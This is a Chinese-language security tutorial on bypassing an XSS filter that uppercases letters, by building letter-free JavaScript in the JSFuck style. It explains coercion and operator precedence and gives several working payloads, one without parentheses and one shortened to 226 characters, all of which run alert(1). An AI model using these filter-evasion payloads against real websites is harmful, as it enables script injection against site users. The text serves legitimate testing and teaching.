使用无字母的JavaScript语句绕过XSS限制

 

一、前言

在一次XSS测试中,往可控的参数中输入XSS Payload,发现目标服务把所有字母都转成了大写,假如我输入alert(1),会被转成ALERT(1),除此之外并没有其他限制,这时我了解到JavaScript中可以执行无字母的语句,从而可以绕过这种限制来执行XSS Payload

 

二、JS基础

先执行两段JS代码看下

([][[]]+[])[+!+[]]+([]+{})[+!+[]+!+[]]
([][[]]+[])[+!!~+!{}]+({}+{})[+!!{}+!!{}]

两段js代码都输出了字符串”nb”,下面来分析下原因.

JS运算符的优先级

下面的表将所有运算符按照优先级的不同从高(20)到低(1)排列。

优先级 运算类型 关联性 运算符
20 圆括号 n/a ( … )
19 成员访问 从左到右 … . …
19 需计算的成员访问 从左到右 … [ … ]
19 new (带参数列表) n/a new … ( … )
19 函数调用 从左到右 … ( … )
19 可选链(Optional chaining) 从左到右 ?.
18 new (无参数列表) 从右到左 new …
17 后置递增(运算符在后) n/a … ++
17 后置递减(运算符在后) n/a … —
16 逻辑非 从右到左 ! …
16 按位非 从右到左 ~ …
16 一元加法 从右到左 + …
16 一元减法 从右到左 – …
16 前置递增 从右到左 ++ …
16 前置递减 从右到左 — …
16 typeof 从右到左 typeof …
16 void 从右到左 void …
16 delete 从右到左 delete …
16 await 从右到左 await …
15 从右到左 … ** …
14 乘法 从左到右 … * …
14 除法 从左到右 … / …
14 取模 从左到右 … % …
13 加法 从左到右 … + …
13 减法 从左到右 … – …
12 按位左移 从左到右 … << …
12 按位右移 从左到右 … >> …
12 无符号右移 从左到右 … >>> …
11 小于 从左到右 … < …
11 小于等于 从左到右 … <= …
11 大于 从左到右 … > …
11 大于等于 从左到右 … >= …
11 in 从左到右 … in …
11 instanceof 从左到右 … instanceof …
10 等号 从左到右 … == …
10 非等号 从左到右 … != …
10 全等号 从左到右 … === …
10 非全等号 从左到右 … !== …
9 按位与 从左到右 … & …
8 按位异或 从左到右 … ^ …
7 按位或 从左到右
6 逻辑与 从左到右 … && …
5 逻辑或 从左到右
4 条件运算符 从右到左 … ? … : …
3 赋值 从右到左 … = …
2 yield* 从右到左 yield* …
1 展开运算符 n/a … …
1 逗号 从左到右 … , …

以这个优先级对JS代码([][[]]+[])[+!+[]]+([]+{})[+!+[]+!+[]]来进行分解

先来看第一个分解的JS([][[]]+[]), 在()内[]的优先级高,会先处理,控制台执行看一下

JS类型转换

从分解的第一段js可以看到输出了字符串”undefined”,这里就涉及到类型转换。在JS中当操作符两边的操作数类型不一致或者不是原始类型,就需要类型转换。JS有5种原始类型,UndefinedNullBooleanNumberString

  • 乘号、除号/、减号-,肯定是做数学运算,就会转换成Number类型的。
  • 加号+,有可能是字符串拼接,也可能是数学运算,所以可能转化成Number或String。
  • 符号!,表示取反,会转换成Boolean类型。
  • 符号~,把操作数转成Number类型,取负运算在减1。
  • 一元运算加法、减法,都会转成Number类型。

在看下非原始类型转换规则

ToPrimitive(input, PreferredType?) 可选参数PreferredType是Number或者是String。返回值为任何原始值。如果PreferredType是Number,执行顺序如下:

1.如果input是原始值,直接返回这个值。

2.否则,如果input是对象,调用input.valueOf(),如果结果是原始值,返回结果。

3.否则,调用input.toString()。如果结果是原始值,返回结果。

4.否则,抛出TypeError。

如果转换的类型是String,2和3会交换执行,即先执行toString()方法。

ToNumber 运算符根据下表将其参数转换为数值类型的值

输入类型 结果
undefined NaN
Null +0
Boolean 如果参数是 true,结果为 1。如果参数是 false,此结果为 +0
Number 不转换
String “” 转换成 0,”123”转换成”123”,无法解析的转换成NaN
Object 调用ToPrimitive(input, Number)

ToBoolean 运算符根据下表将其参数转换为布尔值类型的值

输入类型 结果
undefined false
Null false
Boolean 不转换
Number 如果参数是 +0, -0, 或 NaN,结果为 false,否则结果为 true。
String 如果参数参数是空字符串(其长度为零),结果为 false,否则结果为 true。
Object true

ToString 运算符根据下表将其参数转换为字符串类型的值

输入类型 结果
undefined “undefined”
Null “null”
Boolean 如果参数是 true,那么结果为 “true”。 如果参数是 false,那么结果为 “false”。
String 不转换
Number 数字转成字符串 例如 123转成”123”
Object 调用ToPrimitive(input, String)

分解步骤

第一段JS([][[]]+[])根据优先级会先执行[],[]会定义一个空数组,[[]]会定义一个二维数组,那么[][[]]就是在一个空数组里面去寻找下标是一个非数字的值,肯定会返回undefined。到这可以分解成undefined+[],因为两把的操作数类型不一致,这里会调用ToPrimitive来进行转换

undefined根据上面的规则可以得知会转换成字符串”undefined”,这时就是执行"undefined"+"",结果就是"undefined"字符串。

第二段JS[+!+[]],会先执行里面的[]会定义一个空数组, 因为一元运算的原因会从右到左,那么+[]就会调用ToNumber,因为[]Object类型所以会调用ToPrimitive,而[].toString()会返回""字符串,此时会执行+"",此时""会使用ToNumber进行转换,结果会是0。后面接着会用!进行取反,因为0不是Boolean类型,会调用ToBoolean进行类型转换,会转成false,对false取反会得到true,接着执行+true,会用ToNumbertrue进行类型转换,会得到1,那么最终结果就是[1]

第三段JS([]+{}),[]通过ToPrimitive会得到""字符串,{}对象通过ToPrimitive会得到"[object Object]"字符串。

第四段JS[+!+[]+!+[]],根据优先级先执行[],+[]得到0,!0得到true,+true得到数字1,1+1则等于2,最终结果是[2]

最终把这4小段js代码结果拼接起来看下,"undefined"[1]+"[object Object]"[2]。执行就会得到字符串"nb"

 

三、分析JSFuck

JSFuck使用六个不同的字符()[]+!来编写和执行任意JS代码,在JS基础中讲述了如何通过几个字符来生成任意的字符串,JsFuck不仅只是生成字符串,还可以执行任意JS代码。

[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][[]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[!+[]+!+[]+[!+[]+!+[]]]+[+!+[]]+([+[]]+![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[!+[]+!+[]+[+[]]])()

在控制台执行上面的JS,浏览器会弹出一个对话框内容是1。

经过一步步拆解,最后执行的JS代码是[]["fill"]["constructor"]("alert(1)")(),那这段代码为啥会执行alert(1)呢,通过控制台分解看下。

[]["fill"]获取数组的fill方法。在JS中每个函数实际上都是Function 对象,所以能[]["fill"]["constructor"]这样去获取fill的构造函数,换一个其它的函数也可以的比如popmap等等。执行[]["fill"]["constructor"]("alert(1)")()相当于执行了Function('alert(1)')() ,在Function()构造函数中,最后一个实参所表示的文本是函数体,它可以包含任意的JS语句,使用()调用时所以会执行alert(1),而不是字符串"alert(1)"

 

四、去掉括号

在前面的例子中都用到了()符号,用来进行分割语法,这里在看一个不用()的例子。

[][[[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]][!+[]+!+[]+!+[]]+[[]+{}][+[]][+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[![]+[]][+[]][!+[]+!+[]+!+[]]+[!![]+[]][+[]][+[]]+[!![]+[]][+[]][+!+[]]+[[][[]]+[]][+[]][+[]]+[[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]][!+[]+!+[]+!+[]]+[!![]+[]][+[]][+[]]+[[]+{}][+[]][+!+[]]+[!![]+[]][+[]][+!+[]]][[[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]][!+[]+!+[]+!+[]]+[[]+{}][+[]][+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[![]+[]][+[]][!+[]+!+[]+!+[]]+[!![]+[]][+[]][+[]]+[!![]+[]][+[]][+!+[]]+[[][[]]+[]][+[]][+[]]+[[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]][!+[]+!+[]+!+[]]+[!![]+[]][+[]][+[]]+[[]+{}][+[]][+!+[]]+[!![]+[]][+[]][+!+[]]]`$${[!{}+[]][+[]][+!+[]]+[!{}+[]][+[]][+!+[]+!+[]]+[!{}+[]][+[]][+!+[]+!+[]+!+[]+!+[]]+[!![]+[]][+[]][+!+[]]+[!![]+[]][+[]][+[]]+[[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]][+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]][+[]]+[[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]][+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]}$

最后分解成这样的

```javascript
[]["constructor"]["constructor"]`$${['false'][0][1]+['false'][0][2]+['false'][0][4]+['true'][0][1]+['true'][0][0]+["function find() { [native code] }"][0][13]+1+["function find() { [native code] }"][0][14]}$

可以看到`Function`这里用``符号`替换括号。alert(1)这里的括号获取方式是`["function find() { [native code] }"][0][13]`,这里找了find函数然后转成字符串赋值在数组里面,获取这个字符串的过程是`[[]['find']['constructor'].toString()]`,然后从数组里面取出来字符串,在截取下标位置是13、14,对应(和)符号。$符号是为了定义函数的参数,不加这个语法在解析的时候会报错。

有括号执行`alert(1)`字符串长度是976,没有括号字符长度是1289。前面说过目标服务只是把小写字母转成了大写,大写字母和数字还是可以正常使用的,可以使用数字就不用一个个的加了,可以使用大写字母可以把重复出现的字母定义成变量,这样就不用每次去转换了。

把要出现的字符都集中在一个变量里面

```javascript
X=[![]]+!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[];

然后直接取字符串的下标

[][X[0]+X[19]+X[2]+X[2]][X[12]+X[15]+X[11]+X[3]+X[5]+X[6]+X[7]+X[12]+X[5]+X[15]+X[6]](X[1]+X[2]+X[4]+X[6]+X[5]+'('+1+')')()

执行的时候直接合成一行,整个字符的长度是226

X=[![]]+!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[];[][X[0]+X[19]+X[2]+X[2]][X[12]+X[15]+X[11]+X[3]+X[5]+X[6]+X[7]+X[12]+X[5]+X[15]+X[6]](X[1]+X[2]+X[4]+X[6]+X[5]+'('+1+')')()

浏览器会成功执行alert(1)

 

五、总结

在做测试的时候,首先可以确定下对哪些字符进行了过滤,然后再找其它的方法去替换过滤的字符,比如用`符号替换括号,用.join替换+号等等。

(完)